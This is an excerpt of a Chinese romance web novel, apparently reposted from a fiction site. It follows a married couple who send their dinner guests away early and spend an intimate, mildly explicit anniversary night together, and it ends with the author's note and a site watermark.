语气里撒娇幽怨的味的太重,正埋头苦吃的阿星一个没憋住,嗓子里猛地呛进一粒花椒,顿时咳得惊天动地,整张脸涨得通红。 陈知念立刻放下筷子,紧张地倾身过去:“怎么会疼?是旧伤吗?是不是着凉了?要不要叫医生来看看?” 她说着,温热的手已经下意识地轻轻覆上他受过伤的右肩,小心翼翼地揉按着。 陈寅洛垂着眼眸,感受着她指尖传来的温度,方才那点不快似乎瞬间被抚平了。他甚至还不着痕迹地往她手心里蹭了蹭,像只终于得到主人关注的大型犬。 “不知道,”他声音闷闷的,听起来更委屈了,“就是疼。” 坐在对面的雷子死死咬着口腔内侧的肉才没笑出声,肩膀却控制不住地微微耸动。雪梨在桌下轻轻掐了他大腿一下,用眼神示意他收敛点。 阿星好不容易止住咳嗽,眼泪汪汪地抬起头,正好对上陈寅洛瞥过来的视线。 那眼神里哪里有半点痛苦,分明写着“敢多嘴试试”的警告。 阿星立刻识趣地低下头,把脸埋进碗里。 陈知念仔细检查了一下,并没发现什么异样,但看他脆弱地靠在那里,心立刻软成了一滩水。 “可能是今天有点累着了,”她柔声说,手上的动作没停,“我先帮你揉揉,如果还不舒服,我们待会就上楼休息好不好?” 陈寅洛这才满意地“嗯”了一声。 又过了大概十几分钟,陈寅洛带刺的目光扫过众人,而后修长的手指在桌上不轻不重地叩了两下,成功让所有人的动作都停了下来。 “都是饿死鬼投胎?”他挑眉,语带嫌弃:”还没吃饱?” 话音落下,雷子刚夹起来的牛肉丸“啪嗒”一声掉回碗里。 “饱了饱了!”严彬第一个反应过来。 阿星赶紧附和:“对对对,撑得都快走不动道了!” 陈寅洛满意颔首:“既然吃饱了,还不走?” 这逐客令下得毫不委婉。 “啊,对对对,太晚了,该走了。”雷毅拉着雪梨,边走边回头,“洛哥嫂子你们好好休息!纪念日快乐!” 不到一分钟,刚才还热闹非凡的餐厅就只剩下他们两人。 陈知念看着瞬间空荡的屋子,哭笑 不得:“你干嘛呀,他们还没吃多少呢……” 陈寅洛扯了扯唇角,不爽的视线低垂:“陈知念,你还记不记得你老公是谁?” “当然记得啊。”她扑哧一笑,指尖滑过他喉结:“……是某个连兄弟的醋都要吃的小气鬼。” 陈寅洛眸色一沉,低头在她唇上不轻不重地咬了一下。 “小气鬼?”他语调里的硬气少了大半,“明明是你太忙,都快忘了你老公了。” “我才没有。”陈知念回拥住他,温吞道:“我……我准备了惊喜。” “什么惊喜?” 想到露露替她挑的东西,陈知念就脸颊一热,声音顿时低了几度:“……在楼上卧室。” 话音刚落,他一把将她打横抱起,大步流星地往楼上走。 “陈寅洛!”陈知念惊呼一声,下意识环住他的脖颈,“碗筷还没收拾呢!” “明天再说。” 他踢开卧室门,将她轻轻放在柔软的大床上,随即俯身靠近,撑在她上方。 “你今晚只需要做一件事,就是好好陪你老公。” 陈知念望着他近在咫尺的眉眼,心跳不由自主地加快。 “……那你先闭上眼睛等我。” 陈寅洛眸光微暗,眼底掠过一缕幽深的笑意,却还是顺从地阖上双眼。 陈知念轻手轻脚溜下床,深吸了一口气,才慢吞吞地从衣柜深处取出了那个包装盒。一套黑色的蕾丝内衣展露在眼前,细密的网眼、半透明的薄纱,每一处设计都大胆得超出她的想象。她手微微发颤,背后的搭扣几次都没能扣上,急得鼻尖都沁出了细汗。 “还有一分钟。” 床榻上传来他带着笑意的催促,更让她心慌意乱。 终于勉强穿好,她站在穿衣镜前,只看了一眼就羞得不敢再看。镜中的女人身段被勾勒得淋漓尽致,白皙的肌肤在黑色蕾丝的映衬下,反差强烈得触目惊心。 这完全不是她熟悉的自己。 她几乎是立刻抓过旁边准备好的丝质睡袍,严严实实地裹住自己,系紧腰带,仿佛这样才能获得一丝安全感。 “……可以了。”她声如蚊蚋。 陈寅洛缓缓睁开眼。 映入他眼帘的,并非预想中的香艳景象,而是一个小脸红透、眼神躲闪,手指紧紧揪着睡袍带子的陈知念。 他目光下移,落在她因紧张而微微起伏的胸口,睡袍的交领处,隐约透出底下那抹惹眼的黑色蕾丝边。 一切不言而喻。 “我……我不知道合不合适……” “谁教你的?”他的声音喜怒难辨。 难道他不喜欢?可是露露说男人都会喜欢的。 想到这,陈知念脸更热了,红到能滴血,“……是露露。” 陈寅洛伸手轻轻一拉,就将人圈进了自己怀里,“这种惊喜,只能给我一个人看。露露……以后少听她瞎出主意。” 睡袍的系带被他用指尖轻轻挑开,丝滑的布料从肩头滑落。那身精心挑选的黑色蕾丝在暖黄的灯光下完全展露,将她白皙的肌肤衬得愈发莹润。 陈知念羞得想要蜷缩起来,却被他温柔而坚定地按住手腕。 “别躲,”他吻上她的唇,“我很喜欢。” 那烧蚀殆尽的吻从唇瓣辗转到耳后,陈知念的身体像瘫软的藤曼,只能紧紧缠绕着陈寅洛,浑身泛着青苔滋生的痒。 “别……”她声音细碎,带着羞怯的呜咽。 “别什么?”他低笑,故意曲解她的意思,“别停?” 陈知念的脸瞬间红透,羞恼地轻捶了他一下:“你明知道我不是这个意思……” 他握住她作乱的手,十指紧扣按在枕边,“那是什么意思?” 深邃的眼眸里满是促狭的笑意,非要逼她说出个所以然来,“告诉我。” 陈知念眼泪都出来了,一滴滴落在鬓角,密密麻麻的电//流梭过一遍又一遍。脚趾受不住地蜷了又蜷,明明想把他推开,可手指却钻进他的黑发里,想要再多一点。 “陈知念,”他说,“我们家要涨洪水了是不是?” 这话太透骨,余韵下本就浑身粉粉的,这下更是红透了。 “你……你别说了……” “为什么不能说?”他目光灼灼地锁住她水汽氤氲的眼睛,“洪水泛滥……看来是我疏于灌溉,我会好好努力的。” 晃荡视野里的黑眸隐隐含笑,陈知念羞得别开脸,“你、你——别弄那里!!” “哪里?”他佯装不解,继续不轻不重,“这里吗?” 陈知念说不出话了,陈寅洛次次都在准确无误地攻陷着,蹭动在床单上的脚趾都成了粉色。 烟花炸开的瞬间,她听见他低哑的声音说, “周年快乐,陈太太。”—— 作者有话说:[撒花][撒花][撒花][撒花]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m